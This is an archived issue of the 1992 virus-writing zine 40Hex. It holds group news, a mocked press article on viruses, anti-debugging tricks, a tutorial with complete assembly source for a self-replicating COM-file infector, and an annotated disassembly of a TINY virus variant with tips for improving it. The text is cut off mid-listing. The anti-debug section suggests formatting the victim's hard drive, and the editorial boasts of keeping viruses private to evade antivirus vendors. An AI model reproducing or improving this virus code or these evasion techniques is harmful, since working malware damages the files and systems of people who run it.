home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / 40HEXX.ZIP / 40HEX007 < prev    next >
Text File  |  1998-01-21  |  121KB  |  2,479 lines

  1. 40Hex Number 7 Volume 2 Issue 3                                       File 000
  2.  
  3.     Welcome to 40Hex issue 7!  As you may have noticed, we are a little
  4. late in releasing this issue.  This is mainly because very little has
  5. gone on for us to write about.  Enough of the excuses, on with the show.
  6. We are going to start by giving you a little news update on what we've
  7. been up to.
  8.     First of all, Hellraiser is back in New York.  He moved back towards
  9. the end of May.  Once he gets settled and I give him his computer, I am
  10. sure he will be back writing more virii, and possibly editing 40Hex (not
  11. sure if he wants the task of editing 40Hex).  Anyways, to say the
  12. least, its great having him back where he belongs.
  13.     Second, we have several new virii out, these will NOT appear on
  14. Virus BBSs.  Not even ours.  The reason is simple.  Anti-Virus people
  15. are not in the dark anymore.  They are on Virus BBSs.  Since we want our
  16. virii to remain as undetectable as possible, giving them to the general
  17. public is just no longer an option.  Nonetheless, the new virii will be
  18. sure to surprise everyone.
  19.     Third, LandFill BBS is back online.  The number won't be given out
  20. in the mag, I don't want it getting posted on FidoNet.  I am silly that
  21. way.  The other reason I am not putting the number in it is because I
  22. don't want 100+ lamers reading it, and giving the BBS a call.
  23.     Fourth, a new installment of Dark Angel's Virus Writing Guide came
  24. out, get it, it is chunky.
  25.     Finally, greetings to three new members, Black Mischief (Hacker), and
  26. iNVALiD MEDiA (Hacker, SysOp Of Unphamiliar Territories, which is now
  27. invite only!), and Stingray(Ex-VIPER).
  28.  
  29.  
  30.                        Table Of Contents
  31.  
  32.        40Hex-7.000....................You've Just Read it
  33.        40Hex-7.001....................Virii in the News Part I
  34.        40Hex-7.002....................Code Concealment [2]
  35.        40Hex-7.003....................An Introduction to Non-overwriting Virii
  36.        40Hex-7.004....................Enough Tinys to Sink a Ship
  37.        40Hex-7.005....................MtE News Stories
  38.        40Hex-7.006....................Virus Spotlite:Dissassembly of Leap Frog
  39.        40Hex-7.007....................Spammies Reminder
  40.        40Hex-7.008....................Virii in the News Part II
  41.        40Hex-7.009....................Debug Script for Pogue Mahone
  42.  
  43.  
  44.     Greets to: [NuKE], VIPER, All of the Spammies Entries,
  45.                All -=PHALCON/SKISM=- Members, Dark Avenger
  46.                and anyone else that keeps the virus scene
  47.                going strong.
  48.  
  49.                                         ->GHeap!
  50. 40Hex Number 7 Volume 2 Issue 3                                       File 001
  51.  
  52.       WISHFUL THINKING WILL NOT MAKE PUBLICITY-SEEKING VIRUSES GO AWAY
  53.  
  54.      [Hmmmm, a publicity seeking virus.  I had a virus like that.  It
  55.       infected my computer and called every news agency telling them what it
  56.       had done.]
  57.  
  58.                  By: Paul Melka for Infoworld 4/27
  59.  
  60.     We have all heaved a collective sigh since March 6 came and went
  61. with little computer damage from the Michelangelo Virus.  But this sense
  62. of relief obscures what I believe is a very important fact: Michelangelo
  63. was a turning point in the industry, as much as Microsoft's Windows 3.0
  64. was.
  65.     Prior to March 6, the trigger date for the virus, many people hours
  66. were spent in organizations large and small trying to prepare for
  67. attack. [Gimme a break.  An 'attack'.] And when all said and done,
  68. PCs in the United States fared pretty well.  Still everyone's memory of
  69. the Michelangleo virus has begun to fade, and the press - which
  70. thoroughly covered the looming threat - is now focused on how little
  71. damage was done or how much money virus-protection vendors made.
  72.     That frustrates me.  It misses a subtle yet more important aspect of
  73. viruses:  With all the publicity that Michelangelo generated, it was
  74. the forerunner of more powerful and more destructive viruses.
  75.     The publicity from Michelangelo threw down the gauntlet to virus
  76. writers to create newer and more destructive viruses.  Gone are the days
  77. when letters simply fall to the bottom of your screen or you get
  78. prompted by messages asking for cookies or birthday greetings.  The
  79. industry is just beginning to see the emergence of polymorphic viruses
  80. that change their signatures with each infection.(Already a working
  81. version of the self-mutating engine that creates polymorphic viruses is
  82. available on some bulletin boards, along with manuals.)  And we are
  83. beginning to see viruses that are specifically designed to foil various
  84. detection applications.  Finally there are shrink-wrapped applications
  85. infected with viruses; now there is no "safe" way to purchase software.
  86.     The virus software authors also have an advantage over all antivirus
  87. authors in that they can see exactly what they are going against, while
  88. the antivirus developers still have to react to new, unknown viruses.
  89.     What types of viruses are next?  I don't know, and probably most of
  90. the experts don't know either.  But you can certainly speculate on the
  91. various directions that could be taken in the very near future.  We have
  92. already seen the evolution from file infecting viruses, boot sector
  93. viruses, and stealth viruses to polymorphic viruses.
  94.     The increase in the number and occurences of viruses is real.
  95. Products less then a year old that search for "over 300 viruses" are
  96. almost laughed at today, as security specialists cite documentation of
  97. more than 1,000 different strains of viruses.  The National Computer
  98. Security Association estimates that by the end of 1994, there will be
  99. almost 40,000 different virus strains. [A shame they will mostly be
  100. Tiny variants and Jerusalem Hacks]
  101.     With that kind of explosion, new protection methods will be needed.
  102. Most of today's scanners would spent more time scanning each file for
  103. viruses  than there are working hours in a day.  We will see better and
  104. more efficient methods of detecting and preventing viruses that still
  105. allow full use of the computer.
  106.     As a security analyst for a large utility company, I try to keep
  107. everyone educated on the dangers of viruses and how best to avoid them.
  108. I also try to keep myself and the company as up to date as possible on
  109. what is happening with viruses.  But unless everyone realizes that
  110. viruses are real and takes reasonable action against them, there will
  111. come a time when a new "super virus" that cannot be detected by any of
  112. the existing packages is developed. [Wonder who is gonna write that one?]
  113. It will literally cripple some major corporations, while destroying other
  114. businesses completely.
  115.     I don't advise going back to paper and pencil, but I do think that
  116. all PC users have to be vigilant about the threat of viruses, to educate
  117. themselves on the prevention of viruses, and to institute "safe"
  118. practices, including backing up data and using virus-protection
  119. software.
  120.  
  121. The official patented 40-Hex rebuttal:
  122.  
  123.     Paul Melka seems to be fairly accurate.  However, there are some
  124. things I feel are wrong.  For example the estimation that there will
  125. be 40,000 virus strains by the end of 1994.  Let's just say for example
  126. that it is about 2 years away.  That would mean that there would be 53
  127. viruses written a day, or 2.2 viruses written an hour!  Jeez, we all
  128. have a shitload of work to do.  Do you find this hard to believe?  I do.
  129. Of course, the way the virus scene is heading, we are becoming like the
  130. warez scene.  All the half-assed fools spreading stuff to other BBSs, not
  131. even seeing what they are, or if they are real.  Ahh well, enough of my
  132. complaints.
  133.     When Mr. Melka mentioned that there was no "safe" way of purchasing
  134. software, it got me thinking.  He is definately correct.  Of course, I feel
  135. that it is the responsibility of all software publishers to check their
  136. disks before packaging them.
  137.     At first, he seemed to be very neutral, but as the article
  138. progressed, I noticed that even Mr. Melka seemed to fall down the
  139. endless pit of ignorance, and resorted to a scare tactic: a virus that
  140. nothing can detect or kill.  He started off saying that he was
  141. speculating, but when he said "...there WILL come a time when a new 'super
  142. virus' that cannot be detected by any of the existing packages is
  143. developed.  It will literally cripple some major corporations, while
  144. destroying other businesses completely."  he said WILL.  It bothers me
  145. that a member of the computer security community would be so close-
  146. minded.
  147.     We are not trying to justify the writing of virii, mainly because we
  148. don't have to.  It isn't illegal.  Making it illegal can't be done; it
  149. takes away our rights.  Of course, we want to distinguish that we don't
  150. spread our virii to anyone who doesn't know that they are virii.  It is
  151. what they do from there that may be against the law.
  152.  
  153.  
  154.     If you think it stopped here, here is a letter to the editor of
  155. Infoworld about the above article:
  156.  
  157.  
  158.     Both Steve Gibson and Peer-to-Peer columnist Paul Melka have hit on
  159. the reason for the current explosion of viruses.  The key is in the title
  160. to Mr. Melka's column: "Publicity-Seeking."
  161.     Virus writers have the same mentality as chain mail writers: They
  162. like to see how far their viruses spread and they track the spread of
  163. their virus by its nickname.  The glory from this spread would be
  164. greatly diminished if viruses were referred to by mundane serial numbers
  165. like 7B386621C rather than captivating nicknames like Michelangelo.
  166.     I would like to lead a campaign [The Anti Virus Crusades!  Ha!  I
  167. love it!] on two fronts:
  168.     First:  Establish a no-nickname rule.  The National Computer
  169. Security Association and other groups should start referring to viruses
  170. with nondescriptive serial numbers rather than glamorous nicknames.
  171.     Second:  Ask other readers to write representatives and demand
  172. legislation that would impose suitable penalties for malicious computer
  173. crimes.  These penalties would include jail terms. [GULP!]
  174.     In closing, I believe that this is a perfect opportunity for BIOS
  175. manufacturers to sell BIOS upgrades.  Mr. Gibson's observation that the
  176. best defense mechanism for existing viruses lies in the ROM BIOS is
  177. absolutely correct.  Seventy-four percent of virus infections could be
  178. eliminated by a simple BIOS change.  I am part of a support center for
  179. more than 5,000 PCs; I have yet to detect a virus on those few PCs that
  180. boot only from the hard drive.
  181.                                                Marvin Bullock [Buttock?]
  182.                                                 Nashville, TN
  183.  
  184.  
  185. Rebuttal part ][
  186. ----------------
  187.     Ok, this guy I don't really respect.  The no-nickname rule.  W0W!
  188. What a concept.  Because you take the name away from my program, I won't
  189. recognize when some one posts "Oh yeah, The virus 7XZ23576B upon
  190. activation a siren is heard as a ambulance is displayed across the
  191. screen."   We'd never pick up on that.  I also want to know where he got
  192. the 74% figure.  It may be true, but it wasn't documented.  I am not
  193. going to argue the anti-virus issue, as I can only speculate.
  194. Basically, it takes a twit to catch a virus.  Watch what is put on your
  195. system.  If you are a system administrator, don't allow standard write
  196. access to the network drives.  If you do, expect a message like "Your
  197. computer is stoned".  In reality, YOU should be.
  198.  
  199. PS:Gibson's article refered to the Dark Avenger's MtE, worthwhile if
  200. you don't know about it, otherwise, it is pointless.
  201.  
  202.                                         ->GHeap
  203. 40Hex Number 7 Volume 2 Issue 3                                       File 002
  204.  
  205.  
  206.               æ Code Concealment             æ
  207.               æ    -Demogorgon/PHALCON/SKISM æ
  208.  
  209.      In the previous issue of 40hex, I wrote about how a programmer can
  210. keep his code from being stolen by others.  Ways of doing this are
  211. endless, and I will talk about a few more methods in this installment.
  212.  
  213. Part I  : Fun with int3
  214. Part II : Fun with int8
  215. Part III: The Prefetch
  216.  
  217.  
  218. Part_I : Fun with int3
  219.  
  220.      Int three is the debugger breakpoint.  Every time a debugger breaks
  221. while tracing through a chunk of code, it will call int3.  Int3 is
  222. called after every instruction is executed in trace mode, and after
  223. a breakpoint is reached.  Note that protected mode debuggers do not
  224. execute int3 in trace mode, but they will break when int3 is called from
  225. your code.  You can use this to your advantage.  Simply install a new
  226. handler for int3 and it will execute instead of the debugger if a thief
  227. tries to trace through your program.
  228.  
  229. start:  mov     ax, 2503h
  230.         mov     dx, offset int_start
  231.         int     21h                     ; put in the new handler at ds:dx
  232.  
  233.         ...             ; rest of real code here
  234.         int     20h
  235.  
  236. text db 'Smoke Mah Ass!$'
  237. int_start:
  238.         mov     ah, 9
  239.         mov     dx, offset text
  240.         int     21h
  241.         int     20h
  242.  
  243.      As soon as the first int21 call in this program is made, the code
  244. at int_start will execute if it is being traced in a debugger.
  245. Otherwise, the int call will be ignored and your normal code will
  246. execute.  The program can do whatever you want if a debugger is found.
  247. For example, you can format the hard drive or display a message.  The
  248. possabilities are endless.  By the way, it might be wise to restore the
  249. old interrupt handler before you exit the program, because it is bad
  250. programming practice to leave interrupts pointed into non-allocated
  251. memory.
  252.  
  253.  
  254. compatability:(works against all debuggers marked with an X)
  255. -------------------------------------------------------------------------
  256. Debug           Turbo Debug             Turbo Debug 386         Soft-Ice
  257.   X                   X
  258. -------------------------------------------------------------------------
  259.  
  260.  
  261. Part_II: Fun with int8
  262.  
  263.      The next segment will show you how to make a program nearly
  264. impossable to trace.  The concept is simple.  All you need to do is
  265. place the main body ofyour program into an int8 handler.  Int8 is the
  266. timer interrupt, and it is called 18.2 times a second.  Debuggers do not
  267. execute int8, so whatever you put there will only go when it is run from
  268. dos.  The only drawback to this is a short delay before the main program
  269. is executed.  It will probably go unnoticed, in most cases.  Here is
  270. some code:
  271.  
  272. thyroid:mov     ax, 3508h
  273.         int     21h                        ; get int8 handler
  274.         mov     word ptr [int_store], bx   ; store it
  275.         mov     word ptr [int_store+2], es
  276.         mov     dx, offset prog_start
  277.         mov     ah, 25h
  278.         int     21h                        ; install new int8 handler
  279.  
  280. yip:    cmp     flaag, 1
  281.         jne     yip             ; wait for int8 to be called
  282.                         ; int8 must set the flaag to 1
  283.         push    bx
  284.         pop     dx      ; restore
  285.         push    es      ; old
  286.         pop     ds      ; int8
  287.         int     21h     ; handler
  288.         int     20h
  289.  
  290. flaag db 0
  291. int_store dd ?
  292. prog_start:
  293. _main_program proc far
  294.         ; save all the necessary registers here
  295.         ; ... your code
  296.         mov     flaag, 1
  297.         ; restore the registers
  298.  
  299.         jmp dword ptr [offset int_store]  ; chain to real int8 handler
  300. _main_program endp
  301.  
  302.      This code is quite useful in that if some guy tries to trace
  303. through it, he will be stuck forever in the 'yip' loop.  The main code
  304. will never be executed.  If he tries to get out of the loop by
  305. 'executing to' the next instruction, he will end up running the entire
  306. program.  No debugger I know of can trace through this, because int8 is
  307. not called from within the debugger.
  308.  
  309. -------------------------------------------------------------------------
  310. Debug           Turbo Debug             Turbo Debug 386         Soft-Ice
  311.   X                   X                         X                   X
  312. -------------------------------------------------------------------------
  313.  
  314.  
  315. Part_III: The Prefetch
  316.  
  317.      My favorite way to confuse debuggers is to mess with the prefetch
  318. queue.  All intel processors have a small queue where the next
  319. instructions to be executed are stored.  In this way, the CPU does not
  320. have to waste clock cycles by fetching the next instruction, except in
  321. the cases of branching instructions such as jmps and calls.  The next
  322. chunk of code makes use of this:
  323.  
  324. eapple: mov     ah, 9
  325.         mov     word ptr [offset ear_lobe-2], offset sukk_debug
  326.         mov     dx, offset text
  327. ear_lobe:
  328.         int     21h
  329.         int     20h
  330.  
  331. text    db 'snee!$'
  332. sukk_debug db 0Ah, 0Dh, 09h, 'blow a goat!', 07h, 0Ah, 0Dh, '$'
  333.  
  334.      All this program does is print out a text string.  If it is run
  335. from dos, it will print out 'snee!'.  If it is traced through by any
  336. debugger, however, it will print 'blow a goat!', and beep the PC speaker
  337. (07h is ctrl-g).  Let me explain how this works.
  338.      When any chunk of code is executed by dos, the first few bytes are
  339. sent into the prefetch queue.  The actual number of bytes depends on the
  340. model of intel chip, and what year it was made in.  My computer is a
  341. 386DX-20 (early model), which has a 16 byte prefetch.  Be sure to check
  342. your code on several machines to insure compatability.
  343.      When the second instruction is reached, it places the offset of
  344. sukk_debug into the next instruction.  That is, the next instruction
  345. becomes 'mov dx, offset sukk_debug', rather than 'mov dx, offset text'.
  346. The system memory will be changed, but the prefetch will not, therefore
  347. only a debugger will respond to the new code.  Dos will execute it as if
  348. the instruction had never changed, because the instruction will already
  349. have been loaded into the prefetch.  This theory can be used, with a
  350. little modification, in order to branch to various subroutines, rather
  351. than just printing out different text.  One interesting application of
  352. this is to use the prefetch area to store registers.  This way, a person
  353. debugging your code can not simply nop it out, because it will be
  354. referred to later on.  In fact, you can even put the stack on the
  355. prefetch.  Try to debug through the following fragment, and watch what
  356. happens:
  357.  
  358. nee:    mov     ax, 4Ch
  359.         mov     dx, offset text
  360.         mov     sp, offset fin_rot
  361.         push    ax
  362.         mov     ah, 9
  363. fin_rot:int     21h
  364.         pop     ax
  365.         int     21h
  366. text:   db      'Duck is proud of her feet.  They can catch things.$'
  367.  
  368.      If you run it through debug, the entire program will be corrupted
  369. as soon as you move the stack pointer.  This is because the debug code
  370. uses the stack and expects it to be in a safe location.  If you run it
  371. through soft ice, the code will be corrupted as soon as you push ax.
  372. The stack area will be overwritten when int21 is executed, because the
  373. interrupt uses the stack.  However, in this example, the instruction
  374. pointer will already be beyond this area, so the program will execute
  375. normally.
  376.      Remember not to place the stack past any calls, because then the
  377. prefetch would have to be reloaded after the main program was returned
  378. to, and the instructions that were there before will be gone.
  379.  
  380. -------------------------------------------------------------------------
  381. Debug           Turbo Debug             Turbo Debug 386         Soft-Ice
  382.   X                   X                         X                   X
  383. -------------------------------------------------------------------------
  384.  
  385.      That about wraps it up for this installment.  I will probably have
  386. some new methods for you the next issue, unless I get bored and decide
  387. to drop the whole idea.  Keep in mind that the best ideas are your own.
  388.  
  389.                               
  390.         Remember:  Unprotected code is public domain!
  391.                               
  392.  
  393. []     If anyone has any questions or comments about my series,   []
  394.  []    or some more suggestions for methods that can be added to   []
  395.   []   it, feel free to drop me a note on Landfill BBS              []
  396. 40Hex Number 7 Volume 2 Issue 3                                       File 003
  397.  
  398.                     ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
  399.                     An Introduction to Nonoverwriting Virii
  400.                                  By Dark Angel
  401.                     ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
  402.   
  403.   It seems that there are quite a few virus writers out there who just sit at
  404.   home and churn out hacks of virii.  Yay.  Anybody with a disassembler and
  405.   some free time can churn out dozens of undetectable (unscannable) variants
  406.   of any given virus in an hour.  Others have not progressed beyond the
  407.   overwriting virus, the type of virus with the most limited potential for
  408.   spreading.  Still others have never written a virus before and would like
  409.   to learn.  This article is designed as a simple introduction to all
  410.   interested to the world of nonoverwriting virii.  All that is assumed is a
  411.   working knowledge of 80x86 assembly language.
  412.   
  413.   Only the infection of COM files will be treated in this article, since the
  414.   infection routine is, I think, easier to understand and certainly easier to
  415.   code than that of EXE files.  But do not dispair!  EXE infections will be
  416.   covered in the next issue of 40Hex.
  417.   
  418.   COM files are described by IBM and Microsoft as "memory image files."
  419.   Basically, when a COM file is run, the file is loaded as is into memory.
  420.   No translation or interpretation of any sort takes place.  The following
  421.   steps occur when a COM file is run:
  422.   
  423.     1) A PSP is built.
  424.     2) The file is loaded directly above the PSP.
  425.     3) The program is run starting from the beginning.
  426.   
  427.   The PSP is a 256 byte header storing such vital data as the command line
  428.   parametres used to call the program.  The file is located starting at
  429.   offset 100h of the segment where the program is loaded.  Due to the 64K
  430.   limit on segment length, COM files may only be a maximum of 64K-100h bytes
  431.   long, or 65280 bytes.  If you infect a COM file, make sure the final size
  432.   is below this amount or the PSP will get corrupted.
  433.   
  434.   Since the beginning of the file is at offset 100h in the segment (this is
  435.   the reason for the org 100h at the start of assembly source for com files),
  436.   the initial IP is set to 100h.  The key to understanding nonoverwriting COM
  437.   virii is to remember that once the program is loaded into memory, it can be
  438.   changed at will without affecting the actual file on disk.
  439.   
  440.   The strategy of an overwriting virus is to write the virus to the beginning
  441.   of the COM file.  This, of course, utterly annihilates the original program.
  442.   This, of course, is lame.  The nonoverwriting virus changes only the first
  443.   few bytes and tacks the virus onto the end of the executable.  The new
  444.   bytes at the beginning of the file cause the program, once loaded, to jump
  445.   to the virus code.  After the virus is done executing, the original first
  446.   few bytes are rewritten to the area starting at 100h and a jmp instruction
  447.   is executed to that location (100h).  The infected program is none the
  448.   worse for the wear and will run without error.
  449.   
  450.   The trick is to find the correct bytes to add to the beginning of the file.
  451.   The most common method is to use a JMP instruction followed by a two byte
  452.   displacement.  Since these three bytes replace three bytes of the original
  453.   program, it is important to save these bytes upon infection.  The JMP is
  454.   encoded with a byte of 0e9h and the displacement is simply the old file
  455.   length minus three.
  456.   
  457.   To replace the old bytes, simply use code similar to the following:
  458.     mov di, 100h
  459.     mov si, offset saved_bytes
  460.     movsw
  461.     movsb
  462.   
  463.   And to return control to the original program, use the following:
  464.     mov di, 100h
  465.     jmp di
  466.   
  467.   or any equivalent statements.
  468.   
  469.   When writing nonoverwriting virii, it is important to understand that the
  470.   variables used in the code will not be in their original locations.  Since
  471.   virii are added to the end of the file, you must take the filesize into
  472.   account when calculating offsets.  The standard procedure is to use the
  473.   short combination of statements:
  474.   
  475.     call oldtrick
  476.   oldtrick:
  477.     pop  bp                           ; bp = current IP
  478.     sub  bp, offset oldtrick          ; subtract from original offset
  479.   
  480.   After these statements have been executed, bp will hold the difference in
  481.   the new offsets of the variables from the original.  To account for the
  482.   difference, make the following substitutions in the viral code:
  483.   
  484.     lea dx, [bp+offset variable]
  485.   instead of
  486.     mov dx, offset variable
  487.   
  488.   and
  489.   
  490.     mov dx, word ptr [bp+offset variable]
  491.   instead of
  492.     mov dx, word ptr variable
  493.   
  494.   Alternatively, if you want to save a few bytes and are willing to suffer
  495.   some headaches, leave out the sub bp, offset oldtrick and calculate all
  496.   offsets as per the procedure above EXCEPT you must now also subtract offset
  497.   oldtrick from each of the offsets.
  498.   
  499.   The following is a short nonoverwriting virus which will hopefully help in
  500.   your understanding of the techniques explained above.  It's sort of cheesy,
  501.   since I designed it to be small and easily understandable.  In addition to
  502.   being inefficient (in terms of size), it fails to preserve file date/time
  503.   and will not infect read-only files.  However, it serves its purpose well
  504.   as a teaching aid.
  505.  
  506.   --------Tear line----------------------------------------------------------
  507.   
  508.   DumbVirus segment
  509.   Assume    CS:DumbVirus
  510.   Org 100h                 ; account for PSP
  511.   
  512.   ; Dumb Virus - 40Hex demo virus
  513.   ; Assemble with TASM /m2
  514.   
  515.   Start:  db      0e9h     ; jmp duh
  516.           dw      0
  517.   
  518.   ; This is where the virus starts
  519.   duh:    call    next
  520.   next:   pop     bp                   ; bp holds current location
  521.           sub     bp, offset next      ; calculate net change
  522.   
  523.   ; Restore the original first three bytes
  524.           lea     si, [bp+offset stuff]
  525.           mov     di, 100h
  526.   ; Put 100h on the stack for the retn later
  527.   ; This will allow for the return to the beginning of the file
  528.           push    di
  529.           movsw
  530.           movsb
  531.   
  532.   ; Change DTA from default (otherwise Findfirst/next will destroy
  533.   ; commandline parametres
  534.           lea     dx, [bp+offset dta]
  535.           call    set_dta
  536.   
  537.           mov     ah, 4eh           ; Find first
  538.           lea     dx, [bp+masker]   ; search for '*.COM',0
  539.           xor     cx, cx            ; attribute mask - this is unnecessary
  540.   tryanother:
  541.           int     21h
  542.           jc      quit              ; Quit on error
  543.   
  544.   ; Open file for read/write
  545.   ; Note: This fails on read-only files
  546.           mov     ax, 3D02h
  547.           lea     dx, [bp+offset dta+30] ; File name is located in DTA
  548.           int     21h
  549.           xchg    ax, bx
  550.   
  551.   ; Read in the first three bytes
  552.           mov     ah, 3fh
  553.           lea     dx, [bp+stuff]
  554.           mov     cx, 3
  555.           int     21h
  556.   
  557.   ; Check for previous infection
  558.           mov     ax, word ptr [bp+dta+26]       ; ax = filesize
  559.           mov     cx, word ptr [bp+stuff+1]      ; jmp location
  560.           add     cx, eov - duh + 3              ; convert to filesize
  561.           cmp     ax, cx                         ; if same, already infected
  562.           jz      close                          ; so quit out of here
  563.   
  564.   ; Calculate the offset of the jmp
  565.           sub     ax, 3                          ; ax = filesize - 3
  566.           mov     word ptr [bp+writebuffer], ax
  567.   
  568.   ; Go to the beginning of the file
  569.           xor     al, al
  570.           call    f_ptr
  571.   
  572.   ; Write the three bytes
  573.           mov     ah, 40h
  574.           mov     cx, 3
  575.           lea     dx, [bp+e9]
  576.           int     21h
  577.   
  578.   ; Go to the end of the file
  579.           mov     al, 2
  580.           call    f_ptr
  581.   
  582.   ; And write the rest of the virus
  583.           mov     ah, 40h
  584.           mov     cx, eov - duh
  585.           lea     dx, [bp+duh]
  586.           int     21h
  587.   
  588.   close:
  589.           mov     ah, 3eh
  590.           int     21h
  591.   
  592.   ; Try infecting another file
  593.           mov     ah, 4fh                        ; Find next
  594.           jmp     short tryanother
  595.   
  596.   ; Restore the DTA and return control to the original program
  597.   quit:   mov     dx, 80h                        ; Restore current DTA to
  598.                                                  ; the default @ PSP:80h
  599.   set_dta:
  600.           mov     ah, 1ah                        ; Set disk transfer address
  601.           int     21h
  602.           retn
  603.   f_ptr:  mov     ah, 42h
  604.           xor     cx, cx
  605.           cwd                                    ; equivalent to: xor dx, dx
  606.           int     21h
  607.           retn
  608.   
  609.   masker  db      '*.com',0
  610.   ; Original three bytes of the infected file
  611.   ; Currently holds a INT 20h instruction and a null byte
  612.   stuff   db      0cdh, 20h, 0
  613.   e9      db      0e9h
  614.   eov equ $                                      ; End of the virus
  615.   ; The following variables are stored in the heap space (the area between
  616.   ; the stack and the code) and are not part of the virus that is written
  617.   ; to files.
  618.   writebuffer dw  ?                              ; Scratch area holding the
  619.                                                  ; JMP offset
  620.   dta         db 42 dup (?)
  621.   DumbVirus    ENDS
  622.                END     Start
  623.  
  624.   ---------------------------------------------------------------------------
  625.  
  626.   Do not worry if not everything makes sense to you just yet.  I tried to
  627.   keep the example virus as simple as possible, although, admittedly, the
  628.   explanations were a bit cryptic.  It should all come to you in time.
  629.   
  630.   For a more complete discussion of nonoverwriting virii, pick up a copy of
  631.   each of the first three parts of my virus writing guide (the phunky, the
  632.   chunky, and the crunchy), where you may find a thorough tutorial on
  633.   nonresident virii suitable for any beginning virus programmer.
  634. 40Hex Number 7 Volume 2 Issue 3                                       File 004
  635.  
  636. I picked up a file touted as "a very small virus" and decided to figure out
  637. what this virus could be.  SCAN86-B turned up nothing, so I had to disassemble
  638. it.  The name was intriguing -- muttiny.  I thought it was a misspelling of
  639. mutiny, but I was terribly wrong.  After a minute, I had infected a carrier
  640. file and decrypted the virus.  It took but one minute more to disassemble and
  641. maybe half an hour to comment.  Argh!  It is yet another TINY strain!
  642.  
  643. I do not know who the author is, but I had a few comments to make.  This virus,
  644. quite frankly, sucks.  It is a pitiful excuse for programming.  Many, many
  645. improvements can be made.  I have put comments on how this virus could be made
  646. much mo' bettah.  I must tell whoever wrote the virus that TINY is not so tiny
  647. anymore.  The original TINYs were 150 bytes long.  Now look at it!  It is over
  648. twice that size!  I suppose this virus is the "MUTated TINY" variant, but I'd
  649. prefer to call it "Messed Up Totally TINY".  The author MUST clean up the
  650. virus before distributing it to everyone!  One further improvement would be to
  651. make this virus a generic COM infector, which can be done in well under 200
  652. bytes, with all the "functionality" of the current version.  Note that this
  653. time I did not rewrite it, a la Tiny F 1.1, but rather merely suggested
  654. improvements.  This way, you can easily see the bugs for yourself and learn
  655. from the author's pitfalls.
  656.  
  657.               Dark Angel of PHALCON/SKISM     4/23/92
  658.  
  659. P.S. This is a byte-to-byte match of the virus I picked up -- even the
  660.      labels are in their correct offsets.  The file below should match
  661.      the source code of the original carrier file exactly. Assemble w/
  662.      TASM /m2.
  663.  
  664. P.P.S. This is the last Tiny strain to be published in 40Hex. For some
  665.      Reason, Tiny strains seem to come up again and again over here. I
  666.      think it is hightime to put the Tiny series in its grave where it
  667.      belongs.  Amen.  So be it.                                     DA
  668.  
  669. muttiny         segment byte public
  670.                 assume  cs:muttiny, ds:muttiny
  671.  
  672.                 org     100h
  673.  
  674. start:          db      0e9h, 5, 0              ; jmp     startvir
  675. restorehere:    int     20h
  676. idword:         dw      990h
  677. ; The next line is incredibly pointless. It is a holdover from one
  678. ; of the original TINYs, where the id was 7, 8, 9.  The author can
  679. ; easily save one byte merely by deleting this line.
  680.                 db      09h
  681. startvir:
  682.                 call    oldtrick                ; Standard location-finder
  683. oldtrick:       pop     si
  684. ; The following statement is a bug -- well, not really a bug, just
  685. ; extraneous code.  The value pushed on the stack in the following
  686. ; line is NEVER popped off. This is messy programming, as one byte
  687. ; could be saved by removing the statement.
  688.                 push    si
  689.                 sub     si,offset oldtrick
  690.                 call    encrypt                 ; Decrypt virus
  691.                 call    savepsp                 ;  and save the PSP
  692. ; NOTE:  The entire savepsp/restorepsp procedures are unnecessary.
  693. ;        See the procedures at the end for further details.
  694.                 jmp     short findencryptval    ; Go to the rest of the virus
  695. ; The next line is another example of messy programming -- it is a
  696. ; NOP inserted by MASM during assembly.  Running this file through
  697. ; TASM with the /m2 switch should eliminate such "fix-ups."
  698.                 nop
  699. ; The next line leaves me guessing as to the author's true intent.
  700.                 db      0
  701.  
  702. encryptval      dw      0h
  703.  
  704. encrypt:
  705.                 push    bx                      ; Save handle
  706. ; The following two lines of code could be condensed into one:
  707. ;       lea bx, [si+offset startencrypt]
  708. ; Once again, poor programming style, though there's nothing wrong
  709. ; with the code.
  710.                 mov     bx,offset startencrypt
  711.                 add     bx,si
  712. ; Continueencrypt is implemented as a jmp-type loop. Although it's
  713. ; fine to code it this way, it's probably easier to code using the
  714. ; loop statement.  Upon close inspection, one finds the loop to be
  715. ; flawed. Note the single inc bx statement. This essentially makes
  716. ; the encryption value a a byte instead of a word, which decreases
  717. ; the number of mutations from 65,535 to 255.  Once again, this is
  718. ; just poor programming, very easily rectified with another inc bx
  719. ; statement. Another optimization could be made.  Use a
  720. ;       mov dx, [si+encryptval]
  721. ; to load up the encryption value before the loop, and replace the
  722. ; three lines following continueencrypt with a simple:
  723. ;       xor word ptr [bx], dx
  724. continueencrypt:
  725.                 mov     ax,[bx]
  726.                 xor     ax,word ptr [si+encryptval]
  727.                 mov     [bx],ax
  728.                 inc     bx
  729. ; The next two lines should be executed BEFORE continueencrypt. As
  730. ; it stands right now, they are recalculated every iteration which
  731. ; slows down execution somewhat. Furthermore, the value calculated
  732. ; is much too large and this increases execution time. Yet another
  733. ; improvement would be the merging of the mov/add pair to the much
  734. ; cleaner lea cx, [si+offset endvirus].
  735.                 mov     cx,offset veryend       ; Calculate end of
  736.                 add     cx,si                   ; encryption: Note
  737.                 cmp     bx,cx                   ; the value is 246
  738.                 jle     continueencrypt         ; bytes too large.
  739.                 pop     bx
  740.                 ret
  741. writerest:                                      ; Tack on the virus to the
  742.                 call    encrypt                 ; end of the file.
  743.                 mov     ah,40h
  744.                 mov     cx,offset endvirus - offset idword
  745.                 lea     dx,[si+offset idword]   ; Write starting from the id
  746.                 int     21h                     ; word
  747.                 call    encrypt
  748.                 ret
  749.  
  750. startencrypt:
  751. ; This is where the encrypted area begins.  This could be moved to
  752. ; where the ret is in procedure writerest, but it is not necessary
  753. ; since it won't affect the "scannability" of the virus.
  754.  
  755. findencryptval:
  756.                 mov     ah,2Ch                  ; Get random #
  757.                 int     21h                     ; CX=hr/min dx=sec
  758. ; The following chunk of code puzzles me. I admit it, I am totally
  759. ; lost as to its purpose.
  760.                 cmp     word ptr [si+offset encryptval],0
  761.                 je      step_two
  762.                 cmp     word ptr [si+offset encryptval+1],0
  763.                 je      step_two
  764.                 cmp     dh,0Fh
  765.                 jle     foundencryptionvalue
  766. step_two:                                       ; Check to see if any
  767.                 cmp     dl,0                    ; part of the encryption
  768.                 je      findencryptval          ; value is 0 and if so,
  769.                 cmp     dh,0                    ; find another value.
